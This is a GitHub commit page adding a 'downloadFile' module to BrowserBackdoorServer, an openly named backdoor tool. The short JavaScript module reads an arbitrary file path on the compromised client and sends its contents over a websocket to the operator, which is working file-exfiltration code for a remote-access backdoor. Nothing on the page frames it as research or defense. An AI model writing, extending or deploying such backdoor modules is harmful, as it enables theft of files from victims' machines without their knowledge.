Skip to content

Commit

Permalink
Add downloadFile module
Browse files Browse the repository at this point in the history
  • Loading branch information
IMcPwn committed Jun 11, 2016
1 parent 5a8b607 commit b115430
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions server/modules/downloadFile.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// INTERACTIVE
/*
* Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
* BrowserBackdoorServer by IMcPwn.
* See the file 'LICENSE' for copying permission
*
* Info: Downloads a file from the client
* Parameters: fullPath, encoding
* Returns: undefined, error, file
* Author: IMcPwn
*/

if (typeof fs === typeof undefined) fs = require('fs');

downloadFile = function (fullPath, encoding) {
fs.readFile(fullPath, encoding, function (err, data) {
if (err) ws.send(err);
ws.send(data);
});
}

return "Usage: downloadFile(fullPath, encoding)";

0 comments on commit b115430

Please sign in to comment.